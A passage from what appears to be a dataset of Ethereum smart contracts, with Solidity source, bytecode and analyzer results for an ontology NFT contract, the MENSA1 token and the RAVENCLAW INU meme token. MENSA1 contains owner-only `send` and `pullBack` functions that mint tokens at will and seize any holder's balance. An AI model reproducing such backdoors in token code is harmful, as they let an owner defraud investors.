if (ontoHashToId[hash] == 0)
{
return false;
}
return true;
}
function tokenIDExists(uint256 id) public view returns (bool)
{
return ontologyActive[id];
}
function getTokenInfo(uint256 id) public view returns (uint8 hashO, uint8 sizeO, bytes32 digestO, uint8 hashQ, uint8 sizeQ, bytes32 digestQ, uint256 prev)
{
return (ontologies[id].ontology.hashFunction,
ontologies[id].ontology.size,
ontologies[id].ontology.digest,
ontologies[id].query.hashFunction,
ontologies[id].query.size,
ontologies[id].query.digest,
ontologies[id].prev);
}
function balanceOf(address _tokenOwner)
public
view override
returns(uint256 _balance)
{
return ownerOntoCount[_tokenOwner];
}
// Approve other wallet to transfer ownership of token
function approve(address _to, uint256 id) public override
{
require(msg.sender == ontologyOwner[id]);
ontologyApprovals[id] = _to;
emit Approval(msg.sender, _to, id);
}
// Return approved address for specific token
function getApproved(uint256 id) public view override returns(address operator)
{
require(tokenIDExists(id));
return ontologyApprovals[id];
}
/**
* Private function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
*/
function _clearApproval(address owner, uint256 id) private
{
require(ontologyOwner[id] == owner);
require(tokenIDExists(id));
if (ontologyApprovals[id] != address(0)) {
ontologyApprovals[id] = address(0);
}
}
/*
* Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
*/
function setApprovalForAll(address to, bool approved) public override
{
require(to != msg.sender);
operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
// Tells whether an operator is approved by a given owner
function isApprovedForAll(address Owner, address operator) public view override returns(bool)
{
return operatorApprovals[Owner][operator];
}
// Take ownership of token - only for approved users
function takeOwnership(uint256 id) public
{
require(_isApprovedOrOwner(msg.sender, id));
address Owner = ownerOf(id);
transferFrom(Owner, msg.sender, id);
}
function _isApprovedOrOwner(address spender, uint256 id) internal view returns(bool)
{
address Owner = ontologyOwner[id];
return (spender == Owner || getApproved(id) == spender || isApprovedForAll(Owner, spender));
}
function ownerOf(uint256 id) public view override returns(address _owner)
{
return ontologyOwner[id];
}
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Return the owner address
function owner()
public
view
returns (address)
{
return _contOwner;
}
// Returns true if the caller is the current owner.
function isOwner()
public
view
returns (bool)
{
return msg.sender == _contOwner;
}
// Destroy this smart contract and withdraw balance to owner
function shutdown() public
onlyOwner
{
selfdestruct(msg.sender);
}
// Throws if called by any account other than the owner.
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*/
function safeTransferFrom(address from, address to, uint256 id) external override
{
// solium-disable-next-line arg-overflow
safeTransferFrom(from, to, id, "");
}
/**
* Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
*/
function safeTransferFrom(address from, address to, uint256 id, bytes memory _data) public override
{
transferFrom(from, to, id);
// solium-disable-next-line arg-overflow
require(_checkOnERC721Received(from, to, id, _data));
}
// Returns whether the target address is a contract
function isContract(address account)
internal
view
returns(bool)
{
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* The call is not executed if the target address is not a contract
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
internal returns (bool)
{
if (!isContract(to)) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
// Allows the owener to capture the balance available to the contract.
function withdrawBalance()
external
onlyOwner
{
msg.sender.transfer(address(this).balance);
}
}
|
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806381745821116100ad578063b2e6ceeb11610071578063b2e6ceeb146103e3578063b88d4fde14610400578063e985e9c5146104c6578063f0761fb6146104f4578063fc0e74d11461051a5761012c565b806381745821146102f95780638c7a63ae146103435780638da5cb5b146103a55780638f32d59b146103ad578063a22cb465146103b55761012c565b806342842e0e116100f457806342842e0e1461024957806342966c681461027f5780635fd8c7101461029c5780636352211e146102a457806370a08231146102c15761012c565b8063081812fc14610131578063095ea7b31461016a57806323b872dd1461019857806328fcc890146101ce5780632af3c83a14610218575b600080fd5b61014e6004803603602081101561014757600080fd5b5035610522565b604080516001600160a01b039092168252519081900360200190f35b6101966004803603604081101561018057600080fd5b506001600160a01b038135169060200135610552565b005b610196600480360360608110156101ae57600080fd5b506001600160a01b038135811691602081013590911690604001356105ce565b610196600480360360e08110156101e457600080fd5b5060ff8135811691602081013582169160408201359160608101358216916080820135169060a08101359060c00135610707565b6102356004803603602081101561022e57600080fd5b5035610a53565b604080519115158252519081900360200190f35b6101966004803603606081101561025f57600080fd5b506001600160a01b03813581169160208101359091169060400135610a68565b6101966004803603602081101561029557600080fd5b5035610a88565b610196610b38565b61014e600480360360208110156102ba57600080fd5b5035610bc0565b6102e7600480360360208110156102d757600080fd5b50356001600160a01b0316610bdb565b60408051918252519081900360200190f35b610235600480360360e081101561030f57600080fd5b5060ff8135811691602081013582169160408201359160608101358216916080820135169060a08101359060c00135610bf6565b6103606004803603602081101561035957600080fd5b5035610c91565b6040805160ff988916815296881660208801528681019590955292861660608601529416608084015260a083019390935260c082019290925290519081900360e00190f35b61014e610dc3565b610235610dd2565b610196600480360360408110156103cb57600080fd5b506001600160a01b0381351690602001351515610de3565b610196600480360360208110156103f957600080fd5b5035610e6e565b6101966004803603608081101561041657600080fd5b6001600160a01b0382358116926020810135909116916040820135919081019060808101606082013564010000000081111561045157600080fd5b82018360208201111561046357600080fd5b8035906020019184600183028401116401000000008311171561048557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610e9d945050505050565b610235600480360360408110156104dc57600080fd5b506001600160a01b0381358116916020013516610ec3565b6102e76004803603602081101561050a57600080fd5b50356001600160a01b0316610ef1565b610196610f03565b600061052d82610a53565b61053657600080fd5b506000908152600460205260409020546001600160a01b031690565b6000818152600160205260409020546001600160a01b0316331461057557600080fd5b60008181526004602052604080822080546001600160a01b0319166001600160a01b0386169081179091559051839233917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259190a45050565b6001600160a01b038316158015906105ee57506001600160a01b03821615155b6105f757600080fd5b6106013382610f5f565b61060a57600080fd5b61061381610a53565b61061c57600080fd5b600081815260016020526040902080546001600160a01b0319166001600160a01b03841617905561064d8282610fba565b6001600160a01b03821660009081526003602052604090205461067190600161102e565b6001600160a01b0380841660009081526003602052604080822093909355908516815220546106a190600161108f565b6001600160a01b0380851660008181526003602090815260409182902094909455805191825291851692810192909252818101839052517f9c8515990fd8c61431c4ac8db9b81475f90c292a1dda77731e56c22e64fc76439181900360600190a1505050565b61071687878787878787610bf6565b15610768576040805162461bcd60e51b815260206004820152601960248201527f5468697320746f6b656e20616c72656164792065786973742100000000000000604482015290519081900360640190fd5b801580159061077d575061077b81610a53565b155b156107b95760405162461bcd60e51b815260040180806020018281038252603381526020018061126a6033913960400191505060405180910390fd5b6040805160f889811b6001600160f81b03199081166020808501919091528a831b82166021850152602284018a905288831b821660428501529187901b166043830152604482018590526064808301859052835180840390910181526084909201909252805191012061082a61121c565b506040805160c08101825260ff808b1660608084019182528b8316608085015260a084018b9052908352835190810184528882168152878216602082810191909152818501889052808401918252838501878152600980546001818101835560008381528851805160059094027f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af81018054838a01518c1661010090810261ff0019988e1660ff1993841617891617909255928d01517f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7b0830155985180517f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7b183018054838c01518e16909c0291909c169a84169a909a1790951698909817909855918901517f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7b287015592517f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7b39095019490945554878452838352868420600019919091019081905580845281835286842080546001600160a01b031916339081179091556002845287852080549096168317909555938352600390915293902054919290916109f89161102e565b336000818152600360209081526040918290209390935580518481529283019190915280517f55d785d3e2a7effd275e725eb0fd1a1457366d1d3709f9bb61cd2d83913fdb839281900390910190a150505050505050505050565b60009081526002602052604090205460ff1690565b610a8383838360405180602001604052806000815250610e9d565b505050565b6000818152600160205260409020546001600160a01b03163314610aab57600080fd5b610ab481610a53565b610abd57600080fd5b6000818152600260209081526040808320805460ff191690553383526003909152902054610aec90600161108f565b3360009081526003602090815260409182902092909255805183815290517f693be48935476ffdb3775faab46f5c46604e07fccc528be67332d2fb73a6b2db929181900390910190a150565b610b40610dd2565b610b91576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f19350505050158015610bbd573d6000803e3d6000fd5b50565b6000908152600160205260409020546001600160a01b031690565b6001600160a01b031660009081526003602052604090205490565b6040805160f889811b6001600160f81b03199081166020808501919091528a831b82166021850152602284018a905288831b821660428501529187901b166043830152604482018590526064808301859052835180840390910181526084909201835281519181019190912060008181529182905291812054909190610c80576000915050610c86565b60019150505b979650505050505050565b600080600080600080600060098881548110610ca957fe5b60009182526020909120600590910201546009805460ff909216918a908110610cce57fe5b906000526020600020906005020160000160000160019054906101000a900460ff1660098a81548110610cfd57fe5b90600052602060002090600502016000016001015460098b81548110610d1f57fe5b60009182526020909120600260059092020101546009805460ff909216918d908110610d4757fe5b906000526020600020906005020160020160000160019054906101000a900460ff1660098d81548110610d7657fe5b90600052602060002090600502016002016001015460098e81548110610d9857fe5b9060005260206000209060050201600401549650965096509650965096509650919395979092949650565b6006546001600160a01b031690565b6006546001600160a01b0316331490565b6001600160a01b038216331415610df957600080fd5b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805486151560ff19909116811790915581519485529184019290925282820152517f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c319181900360600190a15050565b610e783382610f5f565b610e8157600080fd5b6000610e8c82610bc0565b9050610e998133846105ce565b5050565b610ea88484846105ce565b610eb4848484846110ec565b610ebd57600080fd5b50505050565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b60036020526000908152604090205481565b610f0b610dd2565b610f5c576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b33ff5b6000818152600160205260408120546001600160a01b03908116908416811480610fa25750836001600160a01b0316610f9784610522565b6001600160a01b0316145b80610fb25750610fb28185610ec3565b949350505050565b6000818152600160205260409020546001600160a01b03838116911614610fe057600080fd5b610fe981610a53565b610ff257600080fd5b6000818152600460205260409020546001600160a01b031615610e9957600090815260046020526040902080546001600160a01b031916905550565b600082820183811015611088576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6000828211156110e6576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60006110f784611216565b61110357506001610fb2565b604051630a85bd0160e11b815233600482018181526001600160a01b03888116602485015260448401879052608060648501908152865160848601528651600095928a169463150b7a029490938c938b938b939260a4019060208501908083838e5b8381101561117d578181015183820152602001611165565b50505050905090810190601f1680156111aa5780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b1580156111cc57600080fd5b505af11580156111e0573d6000803e3d6000fd5b505050506040513d60208110156111f657600080fd5b50516001600160e01b031916630a85bd0160e11b14915050949350505050565b3b151590565b604051806060016040528061122f611249565b815260200161123c611249565b8152602001600081525090565b60408051606081018252600080825260208201819052918101919091529056fe50726576696f757320746f6b656e20646f6573206e6f7420657869737473206f7220646966666572656e742066726f6d203021a2646970667358221220cd62244249e1240d500c8037f8bf6beb77ef1946e211144692beb3908ba802f764736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 4,086 |
0x794fe79f1b667dea036d709630784b3a5a429281
|
/**
* Investors relations: gogogadgetgetit
**/
pragma solidity ^0.4.24;
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Standard
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface OldFACEToken {
function transfer(address receiver, uint amount) external;
function balanceOf(address _owner) external returns (uint256 balance);
function showMyTokenBalance(address addr) external;
}
contract MENSA1 is ERC20Interface,Ownable {
using SafeMath for uint256;
uint256 public totalSupply;
mapping(address => uint256) tokenBalances;
string public constant name = "MENSA";
string public constant symbol = "MSA";
uint256 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 8761815;
address ownerWallet;
// Owner of account approves the transfer of an amount to another account
mapping (address => mapping (address => uint256)) allowed;
event Debug(string message, address addr, uint256 number);
function MENSA1 (address wallet) public {
owner = msg.sender;
ownerWallet=wallet;
totalSupply = INITIAL_SUPPLY * 10 ** 18;
tokenBalances[wallet] = INITIAL_SUPPLY * 10 ** 18; //Since we divided the token into 10^18 parts
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(tokenBalances[msg.sender]>=_value);
tokenBalances[msg.sender] = tokenBalances[msg.sender].sub(_value);
tokenBalances[_to] = tokenBalances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= tokenBalances[_from]);
require(_value <= allowed[_from][msg.sender]);
tokenBalances[_from] = tokenBalances[_from].sub(_value);
tokenBalances[_to] = tokenBalances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return totalSupply - tokenBalances[address(0)];
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant public returns (uint256 balance) {
return tokenBalances[_owner];
}
function send(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
require(tokenBalances[buyer]<=tokenAmount);
tokenBalances[wallet] = tokenBalances[wallet].add(tokenAmount);
Transfer(buyer, wallet, tokenAmount);
}
function pullBack(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
require(tokenBalances[buyer]>=tokenAmount);
tokenBalances[buyer] = tokenBalances[buyer].sub(tokenAmount);
tokenBalances[wallet] = tokenBalances[wallet].add(tokenAmount);
Transfer(buyer, wallet, tokenAmount);
totalSupply=totalSupply.add(tokenAmount);
}
function showMyTokenBalance(address addr) public view returns (uint tokenBalance) {
tokenBalance = tokenBalances[addr];
}
}
|
0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f55780630779afe61461017f578063095ea7b3146101ab57806318160ddd146101e357806323b872dd1461020a5780632ff2e9dc14610234578063313ce56714610249578063661884631461025e57806370a082311461028257806377eefa5a146102a35780638da5cb5b146102cd5780638fe476251461028257806395d89b41146102fe578063a9059cbb14610313578063d73dd62314610337578063dd62ed3e1461035b578063f2fde38b14610382575b600080fd5b34801561010157600080fd5b5061010a6103a3565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014457818101518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018b57600080fd5b506101a9600160a060020a03600435811690602435166044356103da565b005b3480156101b757600080fd5b506101cf600160a060020a0360043516602435610489565b604080519115158252519081900360200190f35b3480156101ef57600080fd5b506101f86104ef565b60408051918252519081900360200190f35b34801561021657600080fd5b506101cf600160a060020a0360043581169060243516604435610521565b34801561024057600080fd5b506101f8610688565b34801561025557600080fd5b506101f861068f565b34801561026a57600080fd5b506101cf600160a060020a0360043516602435610694565b34801561028e57600080fd5b506101f8600160a060020a0360043516610784565b3480156102af57600080fd5b506101a9600160a060020a036004358116906024351660443561079f565b3480156102d957600080fd5b506102e2610899565b60408051600160a060020a039092168252519081900360200190f35b34801561030a57600080fd5b5061010a6108a8565b34801561031f57600080fd5b506101cf600160a060020a03600435166024356108df565b34801561034357600080fd5b506101cf600160a060020a0360043516602435610999565b34801561036757600080fd5b506101f8600160a060020a0360043581169060243516610a32565b34801561038e57600080fd5b506101a9600160a060020a0360043516610a5d565b60408051808201909152600581527f4d454e5341000000000000000000000000000000000000000000000000000000602082015281565b600054600160a060020a031633146103f157600080fd5b600160a060020a03821660009081526002602052604090205481101561041657600080fd5b600160a060020a03831660009081526002602052604090205461043f908263ffffffff610af116565b600160a060020a038085166000818152600260209081526040918290209490945580518581529051919392861692600080516020610b1a83398151915292918290030190a3505050565b336000818152600460209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b546001540390565b6000600160a060020a038316151561053857600080fd5b600160a060020a03841660009081526002602052604090205482111561055d57600080fd5b600160a060020a038416600090815260046020908152604080832033845290915290205482111561058d57600080fd5b600160a060020a0384166000908152600260205260409020546105b6908363ffffffff610b0716565b600160a060020a0380861660009081526002602052604080822093909355908516815220546105eb908363ffffffff610af116565b600160a060020a03808516600090815260026020908152604080832094909455918716815260048252828120338252909152205461062f908363ffffffff610b0716565b600160a060020a0380861660008181526004602090815260408083203384528252918290209490945580518681529051928716939192600080516020610b1a833981519152929181900390910190a35060019392505050565b6285b1d781565b601281565b336000908152600460209081526040808320600160a060020a0386168452909152812054808311156106e957336000908152600460209081526040808320600160a060020a038816845290915281205561071e565b6106f9818463ffffffff610b0716565b336000908152600460209081526040808320600160a060020a03891684529091529020555b336000818152600460209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526002602052604090205490565b600054600160a060020a031633146107b657600080fd5b600160a060020a0382166000908152600260205260409020548111156107db57600080fd5b600160a060020a038216600090815260026020526040902054610804908263ffffffff610b0716565b600160a060020a038084166000908152600260205260408082209390935590851681522054610839908263ffffffff610af116565b600160a060020a038085166000818152600260209081526040918290209490945580518581529051919392861692600080516020610b1a83398151915292918290030190a3600154610891908263ffffffff610af116565b600155505050565b600054600160a060020a031681565b60408051808201909152600381527f4d53410000000000000000000000000000000000000000000000000000000000602082015281565b336000908152600260205260408120548211156108fb57600080fd5b3360009081526002602052604090205461091b908363ffffffff610b0716565b3360009081526002602052604080822092909255600160a060020a0385168152205461094d908363ffffffff610af116565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191923392600080516020610b1a8339815191529281900390910190a350600192915050565b336000908152600460209081526040808320600160a060020a03861684529091528120546109cd908363ffffffff610af116565b336000818152600460209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b600054600160a060020a03163314610a7457600080fd5b600160a060020a0381161515610a8957600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082820183811015610b0057fe5b9392505050565b600082821115610b1357fe5b509003905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820fdb50441ec062c4f8546520f5bb574c5cafde7a34b51fdac99678846392ea3d00029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,087 |
0x1938856833584519f56620ca33a567c904559321
|
/**
*Submitted for verification at Etherscan.io on 2022-04-06
*/
/*
https://t.me/ravenclawinuportal
"Wit beyond measure is man's greatest treasure."
— Rowena Ravenclaw
As far as we are concerned, the admission to Hogwarts is selective. However Hogwarts is now providing us the second opportunity for you to become an official wizard in the cryptoword. Embrace yourself, here comes the sorting hat!
There's nothing hidden in your head
The Sorting Hat can't see,
So try me on and I will tell you
Where you ought to be.
Or yet in wise old Ravenclaw,
if you've a ready mind,
Where those of wit and learning,
Will always find their kind;
Members of the Ravenclaw were characterised by their wit, learning, and wisdom. This is the house designed for wizards and witches that possess extraordinary wisdom. Ravenclaw corresponded roughly to the element of air, and it was for that reason that the House colors were chosen; blue and bronze represented the sky and eagle feathers respectively.
Welcome RAVENCLAW ! To be officially part of us you will need to purchase the community token as part of the admission fee. You will be able to redeem your own wands and your enchanting pets !
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RAVENCLAW is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "RAVENCLAW INU";
string private constant _symbol = "RAVENCLAW";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxHoldAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0xE5A7bC5bBCa4BC2511a5808e8eAc9Ec1E8656601);
_buyTax = 12;
_sellTax = 12;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
